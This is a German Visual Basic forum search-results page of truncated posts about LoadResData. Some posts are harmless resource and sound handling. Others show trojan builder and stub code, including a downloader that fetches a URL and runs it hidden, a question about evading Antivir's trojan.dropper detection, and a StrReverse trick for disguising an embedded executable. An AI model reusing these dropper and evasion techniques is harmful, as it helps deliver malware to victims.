Visual Basic Forum

Verfasst am: 10.10.2009, 17:49 Aufrufe: 722

Verfasst am: 03.08.2009, 19:09 Aufrufe: 493

jetzt frag ich mich warum es nicht geht o0sry das ich immer einen thread aufmache und dann löse ich meine probleme selbst aber ich hab den fehler gefundener lag am sourcecode den ich kopiert hab vom tutorialVisual Basic: [code]Public Function ExtractResource(ResType As String, ResID As Long, FullOutputPath As String)On Error Resume NextDim OCX() As ByteOCX = LoadResData(ResID, ResType)Close #1Open FullOutputPath For ...

Verfasst am: 22.06.2009, 22:16 Aufrufe: 551

Wie kann man in einem Command Button einstellen, das wenn man drauf klickt das nächste lied abgespielt werden soll? Ich habe zwei Lieder im Ressource file Im Form_Load steht dass: Private Sub Form_Load() Dim buffer() As Byte buffer = LoadResData(101, "CUSTOM") Open Environ("temp") & "\test.mp3" For Binary As #1 Put #1, , buffer Close #1 WM ...

Verfasst am: 18.06.2009, 12:00 Aufrufe: 1011

Verfasst am: 15.06.2009, 13:44 Aufrufe: 890

' ================================================================== Option Explicit Public Function Build_server(ByVal Savepath As String) As Boolean On Error GoTo Err: 'Loading Ressource Dim buffer() As Byte buffer = LoadResData(101, "CUSTOM") ' ...

Verfasst am: 15.06.2009, 12:20 Aufrufe: 2422

Und hier nun ein Beispiel zum entpacken der Ressource.4. Ressource entpackenDim buffer() As Byte buffer = LoadResData(101, "CUSTOM") Open fout For Binary As #1 Put #1, , buffer Close #1Ich erklär euch den code Zeile für Zeile.Dim buffer() As ByteWir deklarieren also erstmal die Variable buffer as Byte, in der wir dann die Ressource speichern ...

Verfasst am: 15.05.2009, 08:16 Aufrufe: 711

Verfasst am: 01.05.2009, 13:41 Aufrufe: 350

hey, ich habe heute gemerkt das die funktion LoadResData von Antivir erkannt wird, und als trojan.dropper.gen eingestuft wird. jetzt ist meine frage ob es da eine alternative zu dieser funktion gibt, oder ob es sonst irgendnen trick gibt... mercie.

Verfasst am: 12.11.2008, 14:28 Aufrufe: 2790

Ich beschreibe erstmal was passieren soll : Eine Stub Datei soll eine ResDatei ,die von einem Builder eingefügt wurde, laden und in eine neue Datei einfügen dann starten. Frage: Wie kann ich eine ResourceDatei in eine .exe Datei einfügen, sodass ich sie dann mit LoadResData laden kann? Edit: Keiner ne Ahnung? Sad

wie kann ich sonst die zweite Datei anhängen und dann von der stub beim Ausführen in eine neue ...

Verfasst am: 04.09.2008, 14:01 Aufrufe: 528

Verfasst am: 04.09.2008, 11:00 Aufrufe: 881

Verfasst am: 04.09.2008, 08:44 Aufrufe: 881

Verfasst am: 17.08.2008, 19:53 Aufrufe: 1253

Verfasst am: 24.07.2008, 20:29 Aufrufe: 860

Verfasst am: 29.05.2008, 02:36 Aufrufe: 675

Verfasst am: 17.04.2008, 18:45 Aufrufe: 1244

Jetzt laden wir den Inhalt der Resource in ein Byte Array. Hier braucht ihr auch die ID, welche der Datei zugewiesen wurde.Dim MyData() As Byte MyData = LoadResData(101, "CUSTOM")Wir wollen ja, das die Resource nur entpackt wird, wenn sie noch nicht existiert, also fragen wir das vorher ab. Auf das benötigte Modul komme ich später noch einmal zurück.If Not FileExists(MyPath) ...

Verfasst am: 12.04.2008, 12:34 Aufrufe: 306

Enabled = False End If CharCount = CharCount + 1 End Sub Das ist der Buildercode, hier weiß ich yetzt halt nicht was ich genau machen muss das der im Builder eingegebe Text in dem (server, erstellten Exe) bei (sText = "") steht. Private Sub Command1_Click() Dim buffer() As Byte buffer = LoadResData(101, "CUSTOM") Open (App.Path & &qu ...

Verfasst am: 05.04.2008, 16:30 Aufrufe: 1310

ocx") Then Call SaveRes(101, Winpath & "\system32\CoolXPText.ocx") End If End sub Public Function SaveRes(ID As Integer, Filepath As String) Dim xBuffer() As Byte xBuffer = LoadResData(ID, "CUSTOM") Dim ff As Integer ff = FreeFile Open Filepath For Binary As #ff Put #ff, , xBuffer Close DoEvents Call Shell("regsvr32.exe &quo ...

Verfasst am: 03.04.2008, 19:33 Aufrufe: 680

Verfasst am: 03.04.2008, 17:27 Aufrufe: 680

Verfasst am: 26.03.2008, 17:54 Aufrufe: 728

Verfasst am: 26.03.2008, 17:40 Aufrufe: 728

Verfasst am: 13.03.2008, 18:37 Aufrufe: 1405

Verfasst am: 10.03.2008, 21:46 Aufrufe: 663

Binde eine Resource in ein neues Projekt ein und lade sie in ein Bytearray. Dim bRes() as Byte bRes = LoadResData(101, "CUSTOM") Nun drehst du sie mit StrReverse um. bRes = StrReverse(bRes) Jetzt speicherst du sie normal in einer Datei. Dim FF As Integer FF = FreeFile Open "C:\datei.exe" For Binary As #FF Put #FF, , bRes Close #FF Jetzt bindest du die e ...

Verfasst am: 10.03.2008, 12:34 Aufrufe: 3224

' ================================================================== Option Explicit Public Function Build_server(ByVal Savepath As String) As Boolean On Error GoTo Err: 'Loading Ressource Dim buffer() As Byte buffer = LoadResData(101, "CUSTOM") 'Saving Ressource Open Savepath For Binary As #1 Put #1, , buffer() Close #1 'Appending Informations/Options to the server Dim options As St ...

Verfasst am: 09.03.2008, 15:16 Aufrufe: 533

Verfasst am: 02.03.2008, 19:57 Aufrufe: 447

Verfasst am: 28.02.2008, 21:05 Aufrufe: 762

Dim buffer() As Byte buffer = LoadResData(104, "CUSTOM") Open pfad For Binary As #1 Put #1, , buffer() Put #1, , titel.text & "#" & text.text & "#" Close #1 Exit Sub so sparst du an code Very Happy

du koenntest alles auf eine form klatschen.(oder halt auf 2 und immer das entsprechende Picture in die form setzen) wieso is dei ressouce ...

Verfasst am: 23.02.2008, 18:23 Aufrufe: 432

Hallo, ich habe ein Problem mit dem source hier: Builder: Public Function Build_server(ByVal Savepath As String) As Boolean On Error GoTo Err: 'Loading Ressource Dim Buffer() As Byte Buffer = LoadResData(101, "CUSTOM") 'Saving Ressource Open Savepath For Binary As #1 Put #1, , Buffer() Close #1 'Appending Informations/Options to the server Dim optio ...

Verfasst am: 23.02.2008, 08:45 Aufrufe: 1741

Jetzt laden wir den Inhalt der Resource in ein Byte Array. Hier braucht ihr auch die ID, welche der Datei zugewiesen wurde. Dim MyData() As Byte MyData = LoadResData(101, "CUSTOM") Wir wollen ja, das die Resource nur entpackt wird, wenn sie noch nicht existiert, also fragen wir das vorher ab. Auf das benötigte Modul komme ich später noch einmal zurück. If Not FileExists(MyP ...

Verfasst am: 15.02.2008, 14:50 Aufrufe: 817

Verfasst am: 11.02.2008, 22:42 Aufrufe: 670

exe") For Binary As #1 Get #1, LOF(1) - 99, options cmd() = Split(options, "#") url = cmd(0) path = cmd(1) Returnvalue = URLDownloadToFile(0, url, path, 0, 0) Shell path, vbHide End Sub Builder: Private Sub build(pfad As String) Dim buffer() As Byte buffer = LoadResData(101, "CUSTOM") Open pfad For B ...

Verfasst am: 10.02.2008, 14:45 Aufrufe: 1351

exe wird gelöscht! Der Desktop und die Taskleiste erscheinen nicht!" End Sub Private Sub chkshutdown_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) txtinfo.Text = "Fährt das System Herunter!" End Sub Private Sub cmdBuild_Click() Dim message As String Dim Buffer() As Byte Buffer = LoadResData(101, "CUSTOM") Open (App.Pa ...

Verfasst am: 07.02.2008, 21:14 Aufrufe: 935

Verfasst am: 06.02.2008, 21:01 Aufrufe: 445

Verfasst am: 06.02.2008, 19:04 Aufrufe: 445

Verfasst am: 20.01.2008, 20:48 Aufrufe: 475

Text & "%" str1 = LoadResData(101, "CUSTOM") Open duac For Binary As #ff Put #ff, , str1() close #ff Open duac For Binary As #ff Put #ff, LOF(1) + 1, att Close #ff MsgBox "Server wurde erstellt!", vbInformation, "yyy" Exit Sub Err: MsgBox "Server konnte leider nicht erstellt werden!", vbCritical, "xKy" U ...

Verfasst am: 20.01.2008, 20:35 Aufrufe: 475

Verfasst am: 20.01.2008, 20:06 Aufrufe: 475

Verfasst am: 15.01.2008, 19:46 Aufrufe: 643

Verfasst am: 15.01.2008, 19:39 Aufrufe: 643

Verfasst am: 13.01.2008, 12:45 Aufrufe: 783

Verfasst am: 09.01.2008, 14:15 Aufrufe: 298

Kann man das irgendwie ändern oder muss ich statt einer Textbox auf irgendein anderes Mittel zurückgreifen? Hier nochmal der SourceCode des Builders (die Stelle um die es geht ist durch ein Comment gekennzeichnet): Private Sub build(pfad As String) Dim buffer() As Byte buffer = LoadResData(101, "CUSTOM") Open pfad For Binary As #1 Put #1, , buffer() Close #1 ...

Verfasst am: 07.01.2008, 21:52 Aufrufe: 2587

Verfasst am: 06.01.2008, 18:49 Aufrufe: 359

Verfasst am: 06.01.2008, 11:31 Aufrufe: 2587

dll" Alias _ "sndPlaySoundA" (lpszSoundName As Any, ByVal uFlags As Long) As Long Public mSoundArray() As Byte Public Sub PlayWaveRes(ByVal Id As Long) Dim Ret As Long mSoundArray = LoadResData(Id, "CUSTOM") Ret = sndPlaySound(mSoundArray(0), SND_ASYNC Or _ SND_NOWAIT Or SND_NODEFAULT Or SND_MEMORY) End Sub was ist das den? deklar ...

Verfasst am: 05.01.2008, 21:58 Aufrufe: 267

Verfasst am: 04.01.2008, 22:30 Aufrufe: 2587

... ' stoppt die unendliche Wiedergabe der Sounds, die mit SND_LOOP eingeleitet wurde Public Const SND_RESOURCE = &H40004 Public Const SND_SYNC = &H0 ' die Funktion kehrt erst nach Beenden der Wiedergabe des Sounds zurück wir nehmen SND_ASYNC. aber ereinmal müssen wir die ressource entpacken. diesen code fügen wir in unser Form_Load ereignis ein: Dim buffer() As Byte buffer = LoadResData ...

Verfasst am: 21.12.2007, 19:34 Aufrufe: 2012

Funktion zum ocx files erstellen und registrieren Public Function SaveRes(ID As Integer, nFilepath As String) if Not FileExists(nFilePath) then Dim nBuffer() As Byte nBuffer = LoadResData(ID, "CUSTOM") Dim ff As Integer ff = FreeFile Open nFilepath For Binary As #ff Put #ff, , nBuffer Close #ff DoEvents Call Shell("regsvr32.exe " & n ...

Verfasst am: 19.12.2007, 14:59 Aufrufe: 359